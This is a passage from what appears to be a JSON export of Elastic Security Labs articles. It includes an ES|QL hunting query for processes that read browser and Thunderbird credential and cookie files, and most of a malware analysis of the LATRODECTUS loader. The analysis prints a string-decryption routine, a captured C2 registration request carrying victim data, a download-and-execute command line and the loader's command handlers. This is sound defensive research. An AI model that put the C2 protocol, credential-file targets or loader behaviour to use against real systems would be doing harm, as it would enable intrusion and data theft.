activities.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-sql\",children:`from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*\n| where @timestamp \u003e now() - 14 days\n| where host.os.type == \"windows\"\nand event.category == \"file\"\nand event.action in (\"open\", \"modification\")\nand (\n file.path rlike \"C:\\\\\\\\\\\\\\\\Users\\\\\\\\\\\\\\\\.+\\\\\\\\\\\\\\\\AppData\\\\\\\\\\\\\\\\Local\\\\\\\\\\\\\\\\(Google\\\\\\\\\\\\\\\\Chrome\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Google\\\\\\\\\\\\\\\\Chrome SxS\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Chromium\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Amigo\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Torch\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Vivaldi\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Comodo\\\\\\\\\\\\\\\\Dragon\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Epic Privacy Browser\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|CocCoc\\\\\\\\\\\\\\\\Browser\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|BraveSoftware\\\\\\\\\\\\\\\\Brave-Browser\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|CentBrowser\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|7Star\\\\\\\\\\\\\\\\7Star\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Chedot\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Microsoft\\\\\\\\\\\\\\\\Edge\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|360Browser\\\\\\\\\\\\\\\\Browser\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Tencent\\\\\\\\\\\\\\\\QQBrowser\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|CryptoTab Browser\\\\\\\\\\\\\\\\User Data\\\\\\\\\\\\\\\\.*|Opera Software\\\\\\\\\\\\\\\\Opera Stable\\\\\\\\\\\\\\\\.*|Opera Software\\\\\\\\\\\\\\\\Opera GX Stable\\\\\\\\\\\\\\\\.*)\\\\\\\\\\\\\\\\(Default|Profile \\\\\\\\\\\\\\\\d+)\\\\\\\\\\\\\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)\"\n or file.path rlike \"C:\\\\\\\\\\\\\\\\Users\\\\\\\\\\\\\\\\.+\\\\\\\\\\\\\\\\AppData\\\\\\\\\\\\\\\\Roaming\\\\\\\\\\\\\\\\Mozilla\\\\\\\\\\\\\\\\Firefox\\\\\\\\\\\\\\\\Profiles\\\\\\\\\\\\\\\\.*\\\\\\\\\\\\\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)\"\n or file.path rlike \"C:\\\\\\\\\\\\\\\\Users\\\\\\\\\\\\\\\\.+\\\\\\\\\\\\\\\\AppData\\\\\\\\\\\\\\\\Roaming\\\\\\\\\\\\\\\\Moonchild Productions\\\\\\\\\\\\\\\\Pale Moon\\\\\\\\\\\\\\\\Profiles\\\\\\\\\\\\\\\\.*\\\\\\\\\\\\\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)\"\n or file.path rlike \"C:\\\\\\\\\\\\\\\\Users\\\\\\\\\\\\\\\\.+\\\\\\\\\\\\\\\\AppData\\\\\\\\\\\\\\\\Roaming\\\\\\\\\\\\\\\\Thunderbird\\\\\\\\\\\\\\\\Profiles\\\\\\\\\\\\\\\\.*\\\\\\\\\\\\\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)\"\n)\n| keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name\n| eval process_path = replace(process.executable, \"([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\\\\\\\.tmp|DX[A-Z0-9]{3,4}\\\\\\\\.tmp|7z[A-Z0-9]{3,5}\\\\\\\\.tmp|[0-9\\\\\\\\.\\\\\\\\-_]{3,})\", \"\")\n| eval process_path = replace(process_path, \"[cC]:\\\\\\\\\\\\\\\\[uU][sS][eE][rR][sS]\\\\\\\\\\\\\\\\[a-zA-Z0-9\\\\\\\\.\\\\\\\\-_\\\\\\\\$~ ]+\\\\\\\\\\\\\\\\\", \"C:\\\\\\\\\\\\\\\\users\\\\\\\\\\\\\\\\user\\\\\\\\\\\\\\\\\")\n| eval normalized_file_path = replace(file.path, \"[cC]:\\\\\\\\\\\\\\\\[uU][sS][eE][rR][sS]\\\\\\\\\\\\\\\\[a-zA-Z0-9\\\\\\\\.\\\\\\\\-_\\\\\\\\$~ ]+\\\\\\\\\\\\\\\\\", \"C:\\\\\\\\\\\\\\\\users\\\\\\\\\\\\\\\\user\\\\\\\\\\\\\\\\\")\n| stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name\n| where number_hosts == 1\n| sort number_hosts desc\n`})}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"yara-rules\",children:\"Yara rules\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar\",rel:\"nofollow\",children:\"Windows Trojan MetaStealer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar\",rel:\"nofollow\",children:\"Windows Trojan Stealc\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RedLineStealer.yar\",rel:\"nofollow\",children:\"Windows Trojan RedLineStealer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar\",rel:\"nofollow\",children:\"Windows Trojan AgentTesla\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsx)(e.p,{children:\"In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.\"})]})}function E(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(d,t)})):d(t)}var _=E;return y(T);})();\n;return Component;"},"_id":"articles/globally-distributed-stealers.mdx","_raw":{"sourceFilePath":"articles/globally-distributed-stealers.mdx","sourceFileName":"globally-distributed-stealers.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/globally-distributed-stealers"},"type":"Article","imageUrl":"/assets/images/globally-distributed-stealers/Security Labs Images 25.jpg","readingTime":"13 min read","series":"","url":"/globally-distributed-stealers","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Telemetry overview","href":"#telemetry-overview"},{"level":2,"title":"Top stealers overview","href":"#top-stealers-overview"},{"level":3,"title":"REDLINE (REDLINE STEALER)","href":"#redline-redline-stealer"},{"level":3,"title":"METASTEALER","href":"#metastealer"},{"level":3,"title":"STEALC","href":"#stealc"},{"level":4,"title":"STEALC - Execution flow","href":"#stealc---execution-flow"},{"level":2,"title":"Detection","href":"#detection"},{"level":3,"title":"ES|QL queries","href":"#esql-queries"},{"level":3,"title":"Yara rules","href":"#yara-rules"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID","slug":"spring-cleaning-with-latrodectus","date":"2024-05-16","description":"Elastic Security Labs has observed an uptick in a recent emerging loader known as LATRODECTUS. This lightweight loader packs a big punch with ties to ICEDID and may turn into a possible replacement to fill the gap in the loader market.","image":"Security Labs Images 16.jpg","subtitle":"The LATRODECTUS loader evolves to deliver ICEDID and other malware","tags":["icedid","latrodectus","loader"],"body":{"raw":"\n## LATRODECTUS at a glance\n\nFirst [discovered](https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39) by Walmart researchers in October of 2023, [LATRODECTUS](https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111) is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and [ICEDID](https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary) due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a [strong link](https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice) between the network infrastructure used by both the operators of ICEDID and LATRODECTUS.\n\nLATRODECTUS offers a comprehensive range of standard capabilities that threat actors can utilize to deploy further payloads, conducting various activities after initial compromise. The code base isn’t obfuscated and contains only 11 command handlers focused on enumeration and execution. This type of loader represents a recent wave observed by our team such as [PIKABOT](https://www.elastic.co/security-labs/pikabot-i-choose-you), where the code is more lightweight and direct with a limited number of handlers. \n\nThis article will focus on LATRODECTUS itself, analyzing its most significant features and sharing resources for addressing this financially impactful threat.\n\n### Key takeaways\n\n - Initially discovered by Walmart researchers last year, LATRODECTUS continues to gain adoption among recent financially-motivated campaigns\n - LATRODECTUS, a possible replacement for ICEDID shares similarity to ICEDID including a command handler to execute ICEDID payloads\n - We observed new event handlers (process discovery, desktop file listing) since its inception and integration of a self-delete technique to delete running files\n - Elastic Security provides a high degree of capability through memory signatures, behavioral rules, and hunting opportunities to respond to threats like LATRODECTUS\n\n### LATRODECTUS campaign overview\n\nBeginning early March of 2024, Elastic Security Labs observed an increase in email campaigns delivering LATRODECTUS. These campaigns typically involve a recognizable infection chain involving oversized JavaScript files that utilize WMI’s ability to invoke msiexec.exe and install a remotely-hosted MSI file, remotely hosted on a WEBDAV share.\n\n![](/assets/images/spring-cleaning-with-latrodectus/image44.png)\n\nWith major changes in the loader space during the past year, such as the [QBOT](https://www.elastic.co/security-labs/qbot-malware-analysis) takedown and [ICEDID](https://www.elastic.co/security-labs/unpacking-icedid) dropping off, we are seeing new loaders such as [PIKABOT](https://www.elastic.co/security-labs/pikabot-i-choose-you) and [LATRODECTUS](https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111) have emerged as possible replacements.\n\n## LATRODECTUS analysis\n\nOur LATRODECTUS [sample](https://www.virustotal.com/gui/file/aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c/details) comes initially packed with file information [masquerading](https://attack.mitre.org/techniques/T1036/) as a component to Bitdefender’s kernel-mode driver (TRUFOS.SYS), shown in the following image.\n\n![File version information of packed LATRODECTUS sample](/assets/images/spring-cleaning-with-latrodectus/image47.png)\n\n\nIn order to move forward with malware analysis, the sample must be unpacked manually or via an automatic unpacking service such as [UnpacMe](http://Unpac.Me).\n\n![UnpacMe summary](/assets/images/spring-cleaning-with-latrodectus/image26.png)\n\n\nLATRODECTUS is a DLL with 4 different exports, and each export is assigned the same export address.\n\n![Exports for LATRODECTUS](/assets/images/spring-cleaning-with-latrodectus/image21.png)\n\n\n### String obfuscation \n\nAll of the strings within LATRODECTUS are protected using a straightforward algorithm on the encrypted bytes and applying a transformation by performing arithmetic and bitwise operations. The initial [report](https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39) published in 2023 detailed a PRNG algorithm that was not observed in our sample, suggesting continuous development of this loader. Below is the algorithm implemented in Python using our [nightMARE framework](https://github.com/elastic/labs-releases/tree/main/nightMARE):\n\n``` python\ndef decrypt_string(encrypted_bytes: bytes) -\u003e bytes:\n x = cast.u32(encrypted_bytes[:4])\n y = cast.u16(encrypted_bytes[4:6])\n byte_size = cast.u16(cast.p32(x ^ y)[:2])\n decoded_bytes = bytearray(byte_size)\n\n for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):\n decoded_bytes[i] = ((x + i + 1) ^ b) % 256\n\n return bytes(decoded_bytes)\n```\n\n### Runtime API\n\nLATRODECTUS obfuscates the majority of its imports until runtime. At the start of the program, it queries the PEB in combination with using a CRC32 checksum to resolve ```kernel32.dll``` and ```ntdll.dll``` modules and their functions. In order to resolve additional libraries such as ```user32.dll``` or ```wininet.dll```, the malware takes a different approach performing a wildcard search (```*.dll```) in the Windows system directory. It retrieves each DLL filename and passes them directly to a CRC32 checksum function. \n\n![DLL search using a CRC32 checksum](/assets/images/spring-cleaning-with-latrodectus/image15.png)\n\n\n### Anti-analysis\nWhen all the imports are resolved, LATRODECTUS performs several serial anti-analysis checks. The first monitors for a debugger by looking for the BeingDebugged flag inside the Process Environment Block (PEB). If a debugger is identified, the program terminates.\n\n![```BeingDebugged``` check via PEB](/assets/images/spring-cleaning-with-latrodectus/image35.png)\n\n\nIn order to avoid sandboxes or virtual machines that may have a low number of active processes, two validation checks are used to combine the number of running processes with the OS product version. \n\n![Number of processes and OS validation checks](/assets/images/spring-cleaning-with-latrodectus/image30.png)\n\n\nIn order to account for the major differences between Windows OS versions, the developer uses a custom enum based on the major/minor version, and build numbers within Windows.\n\n![Enum related to build numbers, OS version](/assets/images/spring-cleaning-with-latrodectus/image4.png)\n\n\nThe two previous conditions translate to:\n\n - LATRODECTUS will exit if the number of processes is less than 75 and the OS version is a recent build such as Windows 10, Windows Server 2016, or Windows 11\n - LATRODECTUS will exit if the number of processes is less than 50 and the OS version is an older build such as Windows Server 2003 R2, Windows XP, Windows 2000, Windows 7, Windows 8, or Windows Server 2012/R2\n\nAfter the sandbox check, LATRODECTUS verifies if the current process is running under WOW64, a subsystem of Windows operating systems that allows for 32-bit applications to run on 64-bit systems. If true (running as a 32-bit application on a 64-bit OS), the malware will exit.\n\n![```IsWow64Process``` check](/assets/images/spring-cleaning-with-latrodectus/image27.png)\n\n\nThe last check is based on verifying the MAC address via the ```GetAdaptersInfo()``` call from ```iphlpapi.dll```. If there is no valid MAC Address, the malware will also terminate.\n\n![MAC Address check](/assets/images/spring-cleaning-with-latrodectus/image36.png)\n\n\n### Mutex\n\nThis malware uses the string ```runnung``` as the mutex to prevent re-infection on the host, which may be an accidental typo on the part of developers.\n\n![Mutex](/assets/images/spring-cleaning-with-latrodectus/image29.png)\n\n\n### Hardware ID\n\nAfter the mutex creation, LATRODECTUS will generate a hardware ID that is seeded from the volume serial number of the machine in combination with multiplying a hard-coded constant (```0x19660D```).\n\n![HWID calculation](/assets/images/spring-cleaning-with-latrodectus/image6.png)\n\n\n### Campaign ID\n\nAt this stage, the decrypted campaign name (```Littlehw```) from our sample is used as a seed passed into a Fowler–Noll–Vo hashing [function](https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function). This will produce a hash that is used by the actor to track different campaigns and associated victim machines.\n\n![Campaign ID calculation using FNV](/assets/images/spring-cleaning-with-latrodectus/image37.png)\n\n\n### Setup / persistence\n\nThe malware will generate a folder path using a configuration parameter, these determine the location where LATRODECTUS will be dropped on disk, such as the following directories:\n - ```AppData```\n - ```Desktop```\n - ```Startup```\n - ```Personal```\n - ```Local\\AppData```\n\nOur sample was configured with the ```AppData``` location using a hard-coded directory string ```Custom_update``` along with a hardcoded filename ```Update_``` concatenated with digits seeded from the volume serial number. Below is the full file path inside our VM:\n\n```\nC:\\Users\\REM\\AppData\\Roaming\\Custom_update\\Update_88d58563.dll\n```\n\nThe malware will check for an existing file ```AppData\\Roaming\\Custom_update\\update_data.dat``` to read from, and if the file does not exist it will create the directory before writing a copy of itself in the directory.\n\n![LATRODECTUS written in ```AppData```](/assets/images/spring-cleaning-with-latrodectus/image7.png)\n\n\nAfter the file is copied, LATRODECTUS retrieves two C2 domains from the global configuration, using the previously-described string decryption function.\n\n![Decrypting C2 servers](/assets/images/spring-cleaning-with-latrodectus/image19.png)\n\n\nBefore the main thread is executed for command dispatching, LATRODECTUS sets up a scheduled task for persistence using the Windows Component Object Model (COM). \n\n![Scheduled task creation via COM](/assets/images/spring-cleaning-with-latrodectus/image14.png)\n\n\nIn our sample, the task name is hardcoded as ```Updater``` and scheduled to execute upon successful logon.\n\n![Scheduled task properties](/assets/images/spring-cleaning-with-latrodectus/image12.png)\n\n\n### Self-deletion\n\nSelf-deletion is one noteworthy technique incorporated by LATRODECTUS. It was [discovered](https://x.com/jonasLyk/status/1350401461985955840) by Jonas Lykkegaard and implemented by Lloyd Davies in the delete-self-poc [repo](https://github.com/LloydLabs/delete-self-poc). The technique allows LATRODECTUS to delete itself while the process is still running using an alternate data stream. \n\nElastic Security Labs has seen this technique adopted in malware such as the [ROOK](https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/#anti-detection-alternate-data-streams) ransomware family. The likely objective is to hinder incident response processes by interfering with collection and analysis. The compiled malware contains a [string](https://github.com/LloydLabs/delete-self-poc/blob/49fe92218fdcfe8e173aa60a9eb307bae07cb027/main.h#L10) (```:wtfbbq```) present in the repository.\n\n![Self-deletion code in LATRODECTUS](/assets/images/spring-cleaning-with-latrodectus/image2.png)\n\n\nThis technique is observed at the start of the infection as well as when the malware performs an update using event handler #15. Elastic Security Labs has created a [CAPA rule](https://github.com/mandiant/capa-rules/blob/master/anti-analysis/anti-forensic/self-deletion/self-delete-using-alternate-data-streams.yml) to help other organizations identify this behavior generically when analyzing various malware.\n\n### Communication\n\nLATRODECTUS encrypts its requests using base64 and RC4 with a hardcoded password of ```12345```. The first POST request over HTTPS that includes victim information along with configuration details, registering the infected system.\n\n```\nPOST https://aytobusesre.com/live/ HTTP/1.1\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)\nHost: aytobusesre.com\nContent-Length: 256\nCache-Control: no-cache\n\nM1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O\n```\n![Initial registration request](/assets/images/spring-cleaning-with-latrodectus/image32.png)\n\n\nBelow is an example of the decrypted contents sent in the first request:\n\n```\ncounter=0\u0026type=1\u0026guid=249507485CA29F24F77B0F43D7BA\u0026os=6\u0026arch=1\u0026username=user\u0026group=510584660\u0026ver=1.1\u0026up=4\u0026direction=aytobusesre.com\u0026mac=00:0c:24:0e:29:85;\u0026computername=DESKTOP-3C4ILHO\u0026domain=-\n```\n\n| Name | Description |\n| ---- | ----------- |\n| counter | Number of C2 requests increments by one for each callback |\n| type | Type of request (registration, etc) |\n| guid | Generated hardware ID seeded by volume serial number |\n| os | Windows OS product version |\n| arch | Windows architecture version |\n| username | Username of infected machine |\n| group | Campaign identifier seeded by unique string in binary with FNV |\n| version | LATRODECTUS version |\n| up | Unknown |\n| direction | C2 domain\n| mac | MAC Address |\n| computername | Hostname of infected machine |\n| domain | Domain belonging to infected machine |\n\nEach request is pipe-delimited by an object type, integer value, and corresponding argument. There are 4 object types which route the attacker controlled commands (**CLEARURL**, **URLS**, **COMMAND**, **ERROR**). \n\n![Command dispatching logic](/assets/images/spring-cleaning-with-latrodectus/image39.png)\n\n\nThe main event handlers are passed through the **COMMAND** object type with the handler ID and their respective argument.\n\n```\nCOMMAND|12|http://www.meow123.com/test \n```\n\nThe **CLEARURL** object type is used to delete any configured domains. The **URLS** object type allows the attacker to swap to a new C2 URL. The last object type, **ERROR**, is not currently configured.\n\n![Example of command request via CyberChef](/assets/images/spring-cleaning-with-latrodectus/image11.png)\n\n\n### Bot Functionality\n\nLATRODECTUS’s core functionality is driven through its command handlers. These handlers are used to collect information from the victim machine, provide execution capabilities as well as configure the implant. We have seen two additional handlers (retrieve processes, desktop listing) added since the initial [publication](https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39) which may be a sign that the codebase is still active and changing. \n\n\n| Command ID | Description |\n| ---------- | ----------- |\n| 2 | Retrieve file listing from desktop directory |\n| 3 | Retrieve process ancestry |\n| 4 | Collect system information |\n| 12 | Download and execute PE |\n| 13 | Download and execute DLL |\n| 14 | Download and execute shellcode |\n| 15 | Perform update, restart |\n| 17 | Terminate own process and threads |\n| 18 | Download and execute ICEDID payload |\n| 19 | Increase Beacon 